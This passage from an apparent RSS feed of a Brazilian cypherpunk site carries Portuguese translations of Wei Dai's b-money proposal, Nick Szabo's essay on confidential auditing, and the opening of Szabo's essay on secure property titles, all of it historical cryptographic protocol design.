&lt;/p></content:encoded></item><item><title>b-money</title><link>https://cypherpunks.com.br/documentos/bmoney/</link><pubDate>Sun, 01 Nov 1998 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/bmoney/</guid><description>Até agora não está claro, mesmo que teoricamente, como uma comunidade destas poderia funcionar. Uma comunidade é definida pela cooperação de seus participantes, e cooperação eficiente requer um meio de troca (dinheiro) e uma maneira de cumprir contratos. Tradicionalmente estes serviços são providos pelo governo ou instituições …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: OneTimePad
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="wei-dai">Wei Dai&lt;/h2>
&lt;p>1 de Novembro de 1998&lt;/p>
&lt;p>&lt;/p>
&lt;p>Eu estou fascinado pelo &lt;a href="https://cypherpunks.com.br/o-manifesto-criptoanarquista/">manifesto criptoanarquista&lt;/a>
de Tim May. Ao contrário das comunidades tradicionalmente associadas com a palavra &amp;ldquo;anarquia&amp;rdquo;, na criptoanarquia o governo não é temporariamente destruído, mas permanentemente proibido e permanentemente desnecessário. É uma comunidade onde a ameaça de violência é impotente porque a violência é impossível, e a violência é impossível porque os participantes não podem ser ligados a seus nomes reais ou localizações físicas.&lt;/p>
&lt;p>Até agora não está claro, mesmo que teoricamente, como uma comunidade destas poderia funcionar. Uma comunidade é definida pela cooperação de seus participantes, e cooperação eficiente requer um meio de troca (dinheiro) e uma maneira de cumprir contratos. Tradicionalmente estes serviços são providos pelo governo ou instituições patrocinadas pelo governo, e somente para entidades legais. Neste artigo eu descrevo um protocolo pelo qual estes serviços podem ser disponibilizados por entidades irrastreáveis.&lt;/p>
&lt;p>Na verdade, eu irei descrever dois protocolos. O primeiro não é prático, porque faz uso pesado de um canal de broadcast(transmissão) síncrono e impossível de ser bloqueado/saturado. Porém, ele dará motivo ao segundo protocolo, que é mais prático. Em ambos os casos eu irei presumir a existência de uma rede irrastreável, onde emissores e receptores são identificados somente por pseudônimos digitais (i.e. chaves públicas) e cada mensagem é assinada pelo emissor e encriptada para seu receptor.&lt;/p>
&lt;p>No primeiro protocolo, cada participante mantém um banco de dados (separado) de quanto dinheiro pertence a cada pseudônimo. Estas contas coletivamente definem a posse do dinheiro, e como essas contas são atualizadas é o assunto deste protocolo.&lt;/p>
&lt;p>&lt;strong>1. A criação de dinheiro.&lt;/strong>&lt;/p>
&lt;p>Qualquer pessoa pode criar dinheiro ao fazer o broadcast(transmissão) da solução para um problema computacional que anteriormente não era resolvido. As únicas condições são que deve ser fácil determinar quanto esforço computacional que levou para resolver o problema e a solução deve não ter outro valor, prático ou intelectual. O número de unidades monetárias criadas é igual ao custo do esforço computacional, em relação a uma cesta básica de commodities.Por exemplo, se um problema leva 100 horas para ser resolvido no computador que o resolve de maneira mais econômica, e o custo para comprar 100 horas de poder computacional nesse computador é de 3 cestas básicas no mercado aberto, então quando a solução for transmitida para a rede, todo mundo credita o emissor da solução (broadcaster) em 3 unidades monetárias.&lt;/p>
&lt;p>&lt;strong>2. A transferência de dinheiro&lt;/strong>&lt;/p>
&lt;p>Se Alice (dona do pseudônimo &lt;strong>K&lt;!-- raw HTML omitted -->A&lt;!-- raw HTML omitted -->&lt;/strong>) quer transferir X unidades de dinheiro para Bob (dono do pseudônimo &lt;strong>K&lt;!-- raw HTML omitted -->B&lt;!-- raw HTML omitted -->&lt;/strong>), ela transmite (broadcast) a mensagem &amp;ldquo;Eu dou X unidades de dinheiro para &lt;strong>K&lt;!-- raw HTML omitted -->B&lt;!-- raw HTML omitted -->&lt;/strong>&amp;quot;,assinada por &lt;strong>K&lt;!-- raw HTML omitted -->A&lt;!-- raw HTML omitted -->&lt;/strong>. Quando esta mensagem for emitida para rede, todo mundo debita da conta de &lt;strong>K&lt;!-- raw HTML omitted -->A&lt;!-- raw HTML omitted -->&lt;/strong> em X unidades e credita para a conta de &lt;strong>K&lt;!-- raw HTML omitted -->B&lt;!-- raw HTML omitted -->&lt;/strong> a quantia de X unidades, a não ser que isso fosse criar um saldo negativo na conta de &lt;strong>K&lt;!-- raw HTML omitted -->A&lt;!-- raw HTML omitted -->&lt;/strong>. Neste caso, a mensagem é ignorada.&lt;/p>
&lt;p>&lt;strong>3. A efetivação de contratos&lt;/strong>&lt;/p>
&lt;p>Um contrato válido deve obrigatoriamente incluir uma reparação máxima no caso de falha por qualquer participante do mesmo. Ele deve também incluir uma parte que irá fazer a arbitragem caso haja um conflito. Todas as partes do contrato, incluindo o arbitrador devem transmitir para a rede suas assinaturas para que o contrato se torne efetivo. Quando ocorrer a transmissão do contrato e de todas assinaturas, cada participante do contrato debita (subtrai) de sua conta a quantia relativa ao valor máximo de reparação e credita a soma máxima destes valores a uma conta especial identificada por um hash seguro do contrato. O contrato se torna efetivo se o débito de cada parte ocorrer com sucesso sem produzir um saldo negativo, caso contrário o contrato é ignorado e as contas são retornadas a seu estado anterior. Um exemplo de contrato poderia ser assim:&lt;/p>
&lt;p>&lt;strong>K_A&lt;/strong> concorda em enviar a &lt;strong>K_B&lt;/strong> a solução ao problema P antes de 00:00:00 01/01/2000. &lt;strong>K_B&lt;/strong> concorda em pagar a &lt;strong>K_A&lt;/strong> 100 UM (unidades monetárias) antes de 00:00:00 01/01/2000. &lt;strong>K_C&lt;/strong> concorda em fazer a arbitragem no caso de conflitos. &lt;strong>K_A&lt;/strong> concorda em pagar um valor máximo de 1000 UM em caso de quebra de contrato. &lt;strong>K_B&lt;/strong> concorda em pagar um valor máximo de 200 UM em caso de quebra de contrato. &lt;strong>K_C&lt;/strong> concorda em pagar um valor máximo de 500 UM em caso de quebra de contrato. &lt;strong>4. A conclusão de contratos&lt;/strong>&lt;/p>
&lt;p>Se um contrato for concluído sem conflitos, cada parte transmite uma mensagem assinada &amp;ldquo;O contrato com o hash SHA-1 &lt;em>H&lt;/em> foi concluído sem reparações&amp;rdquo;. Ou possivelmente &amp;ldquo;O contrato com o hash SHA-1 &lt;em>H&lt;/em> foi concluído com as seguintes reparações: &amp;hellip;&amp;rdquo;. Ao ocorrer a transmissão de todas as assinaturas, cada participante credita a conta de cada parte pelo valor máximo de sua reparação, remove a conta do contrato, e credita ou debita a conta de cada parte de acordo com o calendário de reparação, caso exista um.&lt;/p>
&lt;p>&lt;strong>5. O cumprimento de contratos&lt;/strong>&lt;/p>
&lt;p>Se as partes de um contrato não conseguirem concordar em uma conclusão apropriada mesmo com ajuda de um arbitrador, cada parte transmite a rede uma sugestão de calendário de reparação/multa e quaisquer argumentos ou provas (evidências) em seu favor. Cada participante faz uma determinação sobre quais reparações ou multas, e modifica suas contas de acordo com isto.&lt;/p>
&lt;p>No segundo protocolo, as contas com informações de quem tem quanto dinheiro são mantidas por um subconjunto de participantes (que serão chamados de servidores daqui pra frente) ao invés de todos. Estes servidores são ligados através de um canal de broadcast estilo Usenet. O formato das mensagens de transação transmitidas ao canal se mantém as mesmas do primeiro protocolo, mas os participantes afetados por cada transação devem verificar que a mensagem foi recebida e processada com sucesso por um conjunto aleatório selecionado de servidores.&lt;/p>
&lt;p>Como servidores devem ser dados confiança até certo ponto, algum mecanismo é necessário para mantê-los honestos. Cada servidor é obrigado a depositar uma certa quantia de dinheiro em uma conta especial que será usada para possíveis multas ou recompensas por provas de conduta irregular. Também, cada servidor deve periodicamente publicar e se comprometer com suas bases de dados de criação de dinheiro e de propriedade monetária. Cada participante deve verificar se seu saldo está correto e que a soma do saldo da conta não é maior que a quantia total de dinheiro criada. Isso previne que os servidores, mesmo que estejam em total colisão/conflito, permanentemente expandam a base monetária. Novos servidores podem também usar os bancos de dados publicados para sincronizar com servidores existentes.&lt;/p>
&lt;p>O protocolo proposto neste artigo permite que entidades irrastreáveis reconhecidas por pseudônimos cooperem entre si de maneira mais eficiente, ao fornecer a elas um meio de trocas e um método de efetivar contratos. O protocolo provavelmente pode ser feito mais eficiente e seguro, mas eu espero que este seja um passo no caminho de fazer a criptoanarquia uma possibilidade prática e teórica.&lt;/p>
&lt;p>&amp;mdash;&amp;mdash;&amp;mdash; &lt;strong>Apêndice A: criação alternativa de b-money&lt;/strong>&lt;/p>
&lt;p>Uma das partes problemáticas no protocolo b-money é a criação de dinheiro. Esta parte do protocolo requer que todos os proprietários de contas decidam e concordem com o custo de cálculos computacionais em particular. Infelizmente, já que a tecnologia de computação tende a avançar rapidamente e não sempre de maneira aberta ao público, esta informação pode estar indisponível, obsoleta ou não precisa, e tudo isto pode causar sérios problemas para o protocolo.&lt;/p>
&lt;p>Então eu proponho um subprotocolo alternativo para criação de dinheiro, onde cada proprietário de conta (todos no primeiro protocolo, ou os servidores no segundo protocolo) decidem e concordam em relação a quantia de b-money a ser criada em cada período, com o custo de criar dinheiro sendo determinado por um leilão. Cada período de criação de dinheiro é dividido em quatro fases, a seguir:&lt;/p>
&lt;p>&lt;strong>1. Planejamento&lt;/strong>&lt;/p>
&lt;p>Os proprietários de contas computam e negociam entre si para determinar o aumento ideal da base monetária no próximo período. Independentemente de estes proprietários de contas chegarem ou não a um consenso, eles transmitem sua cota de criação de dinheiro e quaisquer cálculos macroeconômicos feitos para suportar seus resultados.&lt;/p>
&lt;p>&lt;strong>2. Lances&lt;/strong>&lt;/p>
&lt;p>Qualquer pessoa que quer criar b-money transmite um lance no formato de &amp;lt;x,y&amp;gt; onde x é a quantia de b-money ele quer criar, e y é um problema não resolvido de uma classe de problemas pré-determinados. Cada problema nesta classe deve ter um custo nominal (por exemplo em anos MIPS) a qual todos concordam publicamente.&lt;/p>
&lt;p>&lt;strong>3. Computação&lt;/strong>&lt;/p>
&lt;p>Após ver os lances, aqueles que deram lances na fase 2 agora podem resolver os problemas de seus lances e transmitir as soluções para a rede.&lt;/p>
&lt;p>&lt;strong>4. Criação de dinheiro&lt;/strong>&lt;/p>
&lt;p>Cada dono de conta aceita os lances mais altos (dentre os que realmente transmitiram suas soluções a rede) em relação ao custo nominal por unidade de b-money criado, e creditam as contas dos respectivos licitantes.&lt;/p>
&lt;hr>
&lt;p>Fonte:&lt;/p>
&lt;p>&lt;a href="https://nakamotoinstitute.org/b-money" target="_blank" rel="noopener noreferrer">https://nakamotoinstitute.org/b-money&lt;/a>
&lt;/p>
&lt;p>&lt;a href="https://nakamotoinstitute.org/static/docs/b-money.txt" target="_blank" rel="noopener noreferrer">https://nakamotoinstitute.org/static/docs/b-money.txt&lt;/a>
&lt;/p></content:encoded></item><item><title>Auditoria Confidencial</title><link>https://cypherpunks.com.br/documentos/auditoria-confidencial/</link><pubDate>Thu, 01 Jan 1998 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/auditoria-confidencial/</guid><description>A função de auditoria é uma parte vasta e indispensável da economia moderna. Os controles de auditoria permitem, entre outras coisas, os empregadores delegarem recursos e autoridade aos funcionários, franqueadores delegarem aos franqueados, acionistas para delegarem à administração, anunciantes para contarem os globos oculares, os …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: jeffeson
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="nick-szabo">Nick Szabo&lt;/h2>
&lt;p>Copyright © 1997-1999 por Nick Szabo&lt;br>
Permissão para redistribuir ;sem alteração por este concedida&lt;/p>
&lt;hr>
&lt;p>&lt;/p>
&lt;p>A função de auditoria é uma parte vasta e indispensável da economia moderna. Os controles de auditoria permitem, entre outras coisas, os empregadores delegarem recursos e autoridade aos funcionários, franqueadores delegarem aos franqueados, acionistas para delegarem à administração, anunciantes para contarem os globos oculares, os comerciantes para reunirem mais dados confiável sobre os clientes, e possibilitar uma ampla variedade de outros relacionamentos. Controles de auditoria podem ser chamados de protocolos de segurança do capitalismo..&lt;/p>
&lt;p>Uma recente pesquisa geral mostrou que &lt;strong>83%&lt;/strong> dos americanos são &amp;ldquo;muito preocupados&amp;rdquo; com a sua privacidade na Internet. Pode-se esperar números ainda mais fortes dos clientes europeus, que têm mais experiência em primeira mão com dados privados, em grande parte originalmente compilado por razões inócuas, sendo usados para repressão política. As empresas reconhecem as deficiências de NDAs (termos de confidencialidade) e estão procurando maneiras mais confiáveis de proteger dados. A grande maioria dos clientes de e-commerce estão preocupados com a privacidade.&lt;/p>
&lt;p>A auditoria está em profundo conflito com os esforços em direção a privacidade. Os auditores têm uma ética de registro, investigação, e reportar o máximo possível, e muitas vezes ver os esforços de privacidade como tentativas de impedir a auditoria e potencialmente encobrir a fraude. De fato, os recentes fracassos de bilhões de dólares do Banco Baring e o fundo da divisão Long Term Capital, e mais geralmente os recentes problemas com o &amp;ldquo;capitalismo de compadrio&amp;rdquo;, que impediram os acionistas e credores de mais de US$ 1 trilhão, foram atribuídos a tais sigilos&lt;!-- raw HTML omitted -->[3]&lt;!-- raw HTML omitted -->. No topo da lista das atuais reformas do FMI está a &amp;ldquo;abertura&amp;rdquo;, uma palavra de ordem para a introdução de controles de auditoria e requisitos de relatórios.&lt;/p>
&lt;p>Desde que os controles de auditoria são usados para garantir trilhões de dólares de transações a cada ano, eles não estão indo embora, e de fato provavelmente vai crescer mais eficaz e intrusivo. Por outro lado, temos agora à nossa disposição as muitas inovações alcançadas nas últimas duas décadas na criptografia moderna. Podemos usar estes para obter um melhor equilíbrio entre auditoria e privacidade? Eu criei uma arquitetura que usa esses protocolos para melhorar muito essa troca: auditoria confidencial.&lt;/p>
&lt;p>Podemos conseguir registros de auditorias após o compromisso através de timestamps (carimbos de tempo) seguros&lt;!-- raw HTML omitted -->[1]&lt;!-- raw HTML omitted -->. Podemos então alcançar em grande medida imperturbabilidade antes do compromisso, com segregação de funções através de restrições de integridade multipartidárias&lt;!-- raw HTML omitted -->[2]&lt;!-- raw HTML omitted -->. Nós então auditamos esses compromissos através de cálculos privados multipartidários&lt;!-- raw HTML omitted -->[4]&lt;!-- raw HTML omitted -->. Essa combinação permite uma ampla variedade de transações, conduzidas com eficiência normal, a ser observada e verificada por árbitros ou auditores, através de cálculos privados mais caros aplicados a compromissos aleatoriamente amostrados. Isso mantém um alto grau de confidencialidade para as entradas.&lt;/p>
&lt;p>Os participantes deste protocolo de auditoria mutuamente confidencial podem verificar se os livros correspondem aos detalhes das transações armazenadas em um log de transação previamente confirmado e que os números adicionem corretamente. Os participantes podem calcular estatísticas de resumo em seus logs de transação compartilhados confidencialmente, incluindo verificação cruzada dos logs contra contrapartes de uma transação, sem revelar esses logs. Eles só aprendem o que pode ser inferido das estatísticas, não é possível ver os detalhes das transações.&lt;/p>
&lt;p>Assumindo muitos detalhes práticos que eu encarei neste esboço (como a eficiência dos cálculos de auditoria, a disponibilidade de registros de transações digitais em formato padrão, etc.), a auditoria confidencial pode trazer uma melhoria substancial sobre as práticas atuais. Atualmente os detalhes de todas as transações da organização, incluindo, por exemplo, registros em um HMO (Health Maintenance Organization) e transações nos programas ultra-secretos do governo, ou são expostos diretamente aos auditores, ou são imunes de auditoria, permitindo fraude.&lt;/p>
&lt;p>Com auditoria mutuamente confidencial, poderemos ganhar confiança na factualidade dos pedidos e relatórios das contrapartes sem revelar informações de identificação e outras informações detalhadas das transações subjacentes a esses relatórios. Isso fornecerá a base para sistemas sólidos de reputação e outros sistemas confiáveis de terceiros, que mantêm a integridade ao longo do tempo, comunicações, sumarização, e preservar a confidencialidade para os participantes da transação. Com auditoria confidencial, muitas vezes seremos capazes de ter abertura e privacidade.&lt;/p>
&lt;hr>
&lt;pre tabindex="0">&lt;code> [1] BLLV98 A. Buldas, P. Laud, H. Lipmaa, J. Villemson, &amp;#34;Time-Stamping
with Binary Linking Schemes&amp;#34;, Crypto 98
[2] Szabo, in progress
[3] See recent back issues of _The Wall Street Journal_
and _The Economist_
[4] Overview, [http://szabo.best.vwh.net/msc.html](http://szabo.best.vwh.net/msc.html)
Quorum systems model, [http://szabo.best.vwh.net/quorum.html](http://szabo.best.vwh.net/quorum.html)
B91 D. Beaver, &amp;#34;Efficient Multiparty Protocols Using Circuit
Randomization&amp;#34;, ACM STOC 91
RB89 T. Rabin &amp;amp; M. Ben-Or, &amp;#34;Verifiable Secret Sharing
and Multiparty Protocols with Honest Majority&amp;#34;, ACM STOC 89
GRR98 R. Gennaro, T. Rabin, &amp;amp; M. Rabin: &amp;#34;Simplified VSS
and Fast-Track Multiparty Computations&amp;#34;, PODC 98
&lt;/code>&lt;/pre>&lt;hr>
&lt;p>Fonte: &lt;a href="http://www.fon.hum.uva.nl/rob/Courses/InformationInSpeech/CDROM/Literature/LOTwinterschool2006/szabo.best.vwh.net/confidential.html" target="_blank" rel="noopener noreferrer">http://www.fon.hum.uva.nl/rob/Courses/InformationInSpeech/CDROM/Literature/LOTwinterschool2006/szabo.best.vwh.net/confidential.html&lt;/a>
&lt;/p></content:encoded></item><item><title>Títulos Seguros de Propriedade com Autoridade do dono</title><link>https://cypherpunks.com.br/documentos/titulos-seguros-propriedade/</link><pubDate>Thu, 01 Jan 1998 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/titulos-seguros-propriedade/</guid><description>O advento da escrita melhorou muito o rastreamento dos direitos de propriedade e, de fato, deu origem a nossos modernos sistemas de direitos de propriedade e leis. No entanto, registros escritos provaram ser bastante vulneráveis ao abuso.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Matheus Bach
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;p>&lt;!-- raw HTML omitted -->Nick Szabo&lt;!-- raw HTML omitted -->&lt;/p>
&lt;h4 id="originalmente-publicado-em-1998">Originalmente publicado em 1998&lt;/h4>
&lt;p>&lt;/p>
&lt;p>O advento da escrita melhorou muito o rastreamento dos direitos de propriedade e, de fato, deu origem a nossos modernos sistemas de direitos de propriedade e leis. No entanto, registros escritos provaram ser bastante vulneráveis ao abuso. Um padrão comum durante eras de &lt;a href="http://chronicle.com/free/99/06/99061701t.htm" target="_blank" rel="noopener noreferrer">instabilidade política ou opressão&lt;/a>
foi o confisco de terras através da falsificação ou destruição de registros públicos. A reconstrução de registros informais, como a residência registrada em listas telefônicas, mesmo quando possível, é custosa e repleta de erros e potencial para fraudes&lt;!-- raw HTML omitted -->&lt;a href="#fn1">[1]&lt;/a>
&lt;!-- raw HTML omitted -->. Muitas propriedade em alguns países em desenvolvimento não são formalmente tituladas&lt;!-- raw HTML omitted -->&lt;a href="#fn2">[2]&lt;/a>
&lt;!-- raw HTML omitted -->. Mesmo durante eras de estabilidade política em países desenvolvidos, ocorrem muitos problemas graves com &lt;a href="http://hobbyfarm.com/buysell11.html" target="_blank" rel="noopener noreferrer">títulos.&lt;/a>
&lt;!-- raw HTML omitted -->&lt;a href="#fn3">[3]&lt;/a>
&lt;!-- raw HTML omitted --> Transcrição direta de registros escritos em um repositório online centralizado tornaria muitos desses problemas ainda piores – registros eletrônicos podem ser altamente vulneráveis a perdas e falsificações, e &amp;ldquo;hacks internos&amp;rdquo; são a fonte mais comum de tais ataques. Este artigo propõe um banco de dados de títulos seguro e distribuído para evitar tais ataques contra os direitos de propriedade no futuro.&lt;/p>
&lt;p>Muitos tipos de recursos da Internet têm uma característica básica: os usuários devem concordar com seu controle através dos limites de confiança. Um grande exemplo é o nome. O artigo &lt;a href="https://web.archive.org/web/20120204172516/http://zooko.com/distnames.html" title="Names: Decentralized, Secure, Human-Meaningful: Choose Two" target="_blank" rel="noopener noreferrer">&amp;ldquo;Nomes: Descentralizado, Seguro, com Significado Humano: Escolha Dois&amp;rdquo;&lt;/a>
dispensa não apenas a onipresença e importância desse problema, mas também a possibilidade de solução.&lt;!-- raw HTML omitted -->&lt;a href="#fn4">[4]&lt;/a>
&lt;!-- raw HTML omitted --> Como alternativa, &lt;a href="http://www.erights.org/elib/capability/pnml.html" target="_blank" rel="noopener noreferrer">petnames&lt;/a>
(nomes de animais) são propostos. Esses são, na melhor das hipóteses, meros mnemônicos para traduzir nomes humanamente legíveis em nomes criptográficos; petnames não fazem nada para garantir a nomeação através dos limites de confiança. Todos os três atributos – descentralizado, seguro e com significado humano – deve ser fornecido para que as pessoas se comuniquem e sejam comunicadas com segurança pela Internet, e este documento, juntamente com o artigo [Avanços na Segurança Distribuída]({{url_for(&amp;lsquo;slugview&amp;rsquo;, slug=&amp;lsquo;advances-in-distributed-security&amp;rsquo;)}} &amp;ldquo;Advances in Distributed Security&amp;rdquo;), mostram como fornecer todos os três.&lt;/p>
&lt;p>De maneira mais geral, mostramos como implementar direitos globais transferíveis, aplicados inteiramente por protocolo, a nomes, atribuições, [bit gold]({{url_for(&amp;lsquo;slugview&amp;rsquo;, slug=&amp;lsquo;bit-gold&amp;rsquo;)}}), e propriedade puramente informatizada de uma entidade específica, mas possuídos e invocados pelo público, e como implementar banco de dados de títulos para outros tipos de propriedade. Para um exemplo específico de direitos de limite de confiança cruzada aplicados inteiramente por protocolo, consulte minha proposta de &lt;a href="http://szabo.best.vwh.net/nameintegrity.html" target="_blank" rel="noopener noreferrer">integridade de nome em sistemas de arquivos com limite de confiança cruzado&lt;/a>
.&lt;/p>
&lt;p>Em todos os casos de direitos de propriedade, há um espaço definido, seja um namespace ou espaço físico, e a tarefa é concordar com atributos simples ou direitos para controlar subdivisões desse espaço. Em alguns casos, um nome ou outro símbolo corresponde a uma pessoa ou objeto pertencente ou controlado por essa pessoa. Por exemplo, os usuários da Internet devem concordar sobre qual nome de domínio corresponde a qual operador do site. Em outros casos, estamos simplesmente preocupados com o controle de uma subdivisão do espaço. Com o setor imobiliário, devemos concordar com quem possui vários direitos (ocupar a superfície, minerar os minerais, etc.) em um pedaço de terra. Com o espectro de rádio, devemos concordar sobre quem possui qual faixa de freqüências e em qual espaço físico (ou poder de transmissão, como uma aproximação facilmente observada do espaço físico usado).&lt;/p>
&lt;p>É a hipótese do autor de que todos esses acordos de controle, incluindo o controle sobre a semântica dos símbolos, a serem feitos e respeitados através dos limites da confiança são problemas de concordância e manutenção dos direitos de propriedade. Assim, os resultados deste artigo são muito mais gerais do que podem parecer pela primeira vez. Acredito que este documento forneça uma solução para proteger namespaces e problemas semelhantes, bem como o problema de registrar com segurança acordos sobre os direitos tradicionais de propriedade. Destacar a natureza dos direitos de propriedade dos diretórios públicos também destaca as limitações desses mapeamentos – por exemplo, nomes, endereços e outros símbolos cuja semântica é controlada por uma pessoa podem frequentemente ser delegados, assim como a propriedade pode ser dada ou alugada.&lt;/p>
&lt;p>Novos avanços na tecnologia de bancos de dados replicados nos permitirão manter e transferir com segurança a propriedade de uma grande variedade de tipos de propriedade, incluindo não apenas terras, bens móveis, nomes e endereços. Essa tecnologia nos dará registros públicos que podem &amp;ldquo;sobreviver a uma guerra nuclear&amp;rdquo;, nos moldes do objetivo original do design da Internet. Enquanto bandidos ainda podem tomar propriedade física à força, a existência continuada de registros de propriedade corretos ainda será uma dificuldade para os requerentes usurpadores.&lt;/p>
&lt;p>Eu uso palavras políticas neste ensaio como metáforas para descrever como nosso software de título de propriedade hipotético, e especialmente seu protocolo para distribuir o banco de dados de títulos através de uma rede pública, poderia funcionar. Um grupo chamado clube de propriedade se reúne na Internet&lt;!-- raw HTML omitted -->&lt;a href="#fn5">[5]&lt;/a>
&lt;!-- raw HTML omitted --> e decide acompanhar o dono de alguma propriedade. A propriedade é representada por títulos: nomes referentes à propriedade e a chave pública correspondente a uma chave privada mantida pelo seu proprietário atual, assinada pelo proprietário anterior, juntamente com uma cadeia de títulos anteriores. Os nomes dos títulos podem descrever &amp;ldquo;completamente&amp;rdquo; a propriedade, por exemplo, alocações em um namspace. (Claro, nomes sempre se referem a algo, a semântica, então tal descrição não é realmente completa). Ou os nomes dos títulos podem ser simplesmente rótulos referentes à propriedade. Várias regras e descrições – mapas, ações e assim por diante – podem ser incluídos.&lt;/p>
&lt;p>O clube de propriedade pode ser pensado como um &amp;ldquo;microgoverno&amp;rdquo;, uma entidade que desempenha globalmente e de forma independente uma função limitada normalmente associada ao governo. Em particular, é uma &amp;ldquo;microdemocracia constitucional&amp;rdquo; com baixos custos de entrada e saída. Após as regras de transferência de propriedade terem sido decididas, cada voto deve permanecer dentro desta constituição – de modo que normalmente o voto simplesmente implementará uma operação distribuída de acordo com as regras de propriedade. A votação é necessária não devido a uma ideologia política democrática, mas porque é o resultado ideal na análise de bancos de dados distribuídos com invasores mal-intencionados.&lt;!-- raw HTML omitted -->&lt;a href="#fn6">[6]&lt;/a>
&lt;!-- raw HTML omitted --> Se as regras forem violadas pelos eleitores vencedores, os perdedores corretos podem sair do grupo e reformar um novo grupo, herdando os títulos antigos. Os usuários dos títulos (partes confiantes) que desejam manter os títulos corretos podem verificar com segurança para si mesmos qual grupo dissidente seguiu corretamente as regras e alternou para o grupo correto. Se as regras forem violadas pela perda de eleitores, elas podem ser excluídas da participação adicional tanto dos vencedores corretos quanto das partes confiáveis que seguem as regras.&lt;/p>
&lt;p>Este método de votação ou reforma funciona bem onde os custos de saída são baixos. Assim, na prática, os usuários não devem &amp;ldquo;colocar todos os ovos na mesma cesta&amp;rdquo;, mas clubes de títulos diferentes devem ser usados para diferentes tipos de propriedade. Observe que o principal recurso de segurança do clube não é a votação, mas um conjunto de regras objetivas, muitas vezes automatizadas, e uma trilha de auditoria não comprovada que permite que tanto os membros do clube quanto as partes confiantes verifiquem se cada votação seguiu as regras. Então, para ir mais longe com a metáfora política, um clube de propriedade é uma &amp;ldquo;microdemocracia constitucional&amp;rdquo;, com ênfase no &amp;ldquo;constitucional&amp;rdquo;. A votação é necessária, mas é bastante regulamentada.&lt;/p>
&lt;p>Para implementar um clube de propriedade, montamos um banco de dados replicado para que os membros do clube, de agora em diante &amp;ldquo;servidores&amp;rdquo;, possam manter com segurança os títulos de propriedade e transferi-los com segurança mediante solicitação dos proprietários atuais. Na verdade, fazer com que os usuários finais respeitem os direitos de propriedade acordados por este sistema dependerá da natureza específica da propriedade e está além do escopo da consulta atual. O objetivo do banco de dados replicado é simplesmente concordar com segurança sobre quem possui o quê. O banco de dados inteiro é público.&lt;/p>
&lt;p>O banco de dados de títulos ideal teria as seguintes propriedades:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>A atual proprietária Alice deve poder transferir seu título para apenas uma única contraparte confiável (semelhante ao problema de &amp;ldquo;gasto duplo&amp;rdquo; em dinheiro digital)&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Os servidores não devem conseguir falsificar transferências&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Os servidores não devem poder bloquear transferências de ou para partes politicamente incorretas.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>Não podemos alcançar os ideais (1) e (3), por isso introduzimos o &amp;ldquo;voto&amp;rdquo; da seguinte maneira. Um bom modelo de bancos de dados replicados seguros é o &amp;ldquo;Sistema de Quorum Bizantino&amp;rdquo; de &lt;a href="http://www.research.att.com/~dalia/" target="_blank" rel="noopener noreferrer">Malkhi &amp;amp; Reiter&lt;/a>
&lt;!-- raw HTML omitted -->&lt;a href="#fn6">[6]&lt;/a>
&lt;!-- raw HTML omitted -->. Em contraste com o trabalho mais recente em software peer-to-peer, nosso design é baseado em provas matemáticas de segurança em vez de acenar com a mão. Para uma breve discussão sobre essas abordagens de limiar de servidores, veja meu ensaio &lt;a href="http://szabo.best.vwh.net/coalition.html" target="_blank" rel="noopener noreferrer">&amp;ldquo;Design de Coalizão para Protocolos Seguros&amp;rdquo;&lt;/a>
. O banco de dados é replicado em um universo de servidores U, |U|=n. O &amp;ldquo;sistema de quorum&amp;rdquo; é uma coleção de subconjuntos (quorum) desses servidores, cada um dos quais se cruza. Cada quórum pode operar em nome do sistema; a interseção garante que as operações feitas em quorums distintos preservam a consistência. Um sistema de quorum tolerante a falhas de servidor bizantinas (maliciosas incondicionalmente) é uma coleção de subconjuntos de servidores, cada um dos quais se cruza em um conjunto contendo muitos servidores corretos para garantir a consistência dos dados replicados. Os autores constroem um protocolo de tal forma que qualquer interseção contenha pelo menos 2f+1 servidores, fornecendo assim resiliência contra até f servidores maliciosos, n &amp;gt; 4f.&lt;/p>
&lt;p>Usando esses resultados, parece que podemos abordar nosso banco de dados de títulos ideal da seguinte maneira:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Alice assina o título e a chave pública de Bob e envia esta mensagem para os servidores 2f+1, comprometendo-a a transferir o título para Bob. Bob verifica pelo menos 2f+1 servidores antes de confiar na transferência de Alice.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Nenhuma conspiração de servidores pode forjar a assinatura de Alice (nós conseguimos pelo menos essa conquista idealmente!)&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Uma conspiração de &amp;gt;=(1/4)n servidores podem bloquear uma transferência. O único recurso de Alice é usar alguns outros canais para transmitir sua intenção, demonstrando que o registro não seguiu seus desejos e esperando que os canais alternativos sejam mais confiáveis. Bob só tem um recurso similar se ele assinou um documento com Alice demonstrando suas intenções de transferir o título de Alice para Bob. O recurso mais básico é um subconjunto correto de servidores que sai do clube de propriedades e estabelece um novo, e então anuncia sua correção (e prova a incorreção de seu grupo rival) como descrito acima.&lt;/p>
&lt;/li>
&lt;/ol>
